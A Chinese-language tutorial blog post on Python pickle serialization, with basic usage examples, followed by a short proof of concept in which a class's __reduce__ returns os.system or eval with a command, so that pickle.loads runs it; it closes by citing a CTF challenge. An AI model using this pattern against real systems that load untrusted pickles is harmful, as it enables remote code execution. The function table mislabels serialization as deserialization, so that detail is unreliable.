Python序列化和反序列化使用以及部分漏洞利用
最近研究了一下java和python的反序列化方面的漏洞,觉得很有意思,来做一个小小的总结,(PS:以前的博客停用了,现在在CSDN上继续更新,以前的文章会慢慢的搬过来)
一.序列化与反序列化
- 序列化:把对象转换为字节序列的过程称为对象的序列化
- 反序列化:把字节序列恢复为对象的过程称为对象的反序列化。
- 用途:把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中,并且能在网络上传输对象的字节序列。
- python中序列化通常有两种方式:pickle模块和json模块,这里我们主要讲一下pickle模块。
二.pickle模块使用
对于大多数应用程序来讲,dump()和load()函数的使用就是你使用pickle
模块所需的全部了。
函数 | 解释 |
---|---|
dumps | 将对象反序列化为bytes对象 |
dump | 将对象反序列化到文件对象,存入文件 |
loads | 对bytes对象进行反序列化 |
load | 通过对象反序列化,从文件中读取数据 |
dump和load的使用如下:
import pickle
dict1 = {"c": 1, "l": 2, "e": 3}
b = pickle.dumps(dict1)
print(b,type(b)) # 序列化
c = pickle.loads(b)
print(c,type(c)) # 反序列化
结果:
b'\x80\x03}q\x00(X\x01\x00\x00\x00cq\x01K\x01X\x01\x00\x00\x00lq\x02K\x02X\x01\x00\x00\x00eq\x03K\x03u.' <class 'bytes'>
{'c': 1, 'l': 2, 'e': 3} <class 'dict'>
dumps和loads的使用如下:
import pickle
dict = {"c": 1, "l": 2, "e": 3}
file = open("clean.txt", "wb")
pickle.dump(dict, file)
file.close()
file = open("clean.txt", "rb")
result = pickle.load(file)
file.close()
print(id(dict), result, id(result))
结果:
2817625308360 {'c': 1, 'l': 2, 'e': 3} 2817625308440
#反序列化后的对象跟以前不一样了
三.pickle模块漏洞利用
关键在于__reduce__函数的使用,官方文档链接如下
https://docs.python.org/2/library/pickle.html#object.reduce
简单总结下:
- 如果返回值是一个字符串,那么将会去当前作用域中查找字符串值对应名字的对象,将其序列化之后返回,例如最后
return('a')
,那么它就会在当前的作用域中寻找名为a的对象然后返回,否则报错。 - 如果返回值是一个元组,要求是2到5个参数,第一个参数是可调用的对象,第二个是该对象所需的参数元组,剩下三个可选。所以比如最后
return(eval,("os.system('ls')",))
,那么就是执行eval函数,然后元组内的值作为参数,从而达到执行命令或代码的目的,当然也可以return(os.system,('ls',))
。
import pickle
import os
class clean(object):
def __reduce__(self):
#return (eval,("os.system('ls')",))
return (os.system,('ls',))
a=clean()
b=pickle.dumps(a)
print(b)
pickle.loads(b)
四.结语
通过此次回顾序列方面的知识,使我对序列化和反序列化漏洞的构造有了更深的理解,也见识了php以外的其他语言的序列化构造,进入到忙录的考研生活中,对于安全的学习时间也在逐渐减少。但因为热爱,还是会抽出时间继续前行。(java可能会晚点发)
五.pickle模块漏洞涉及的CTF题目
[CISCN2019 华北赛区 Day1 Web2]ikun
考点:主要考察JWT,pickle的知识点,难度适中。WP以前写过这里就不写了,百度上搜一下应该都能搜到。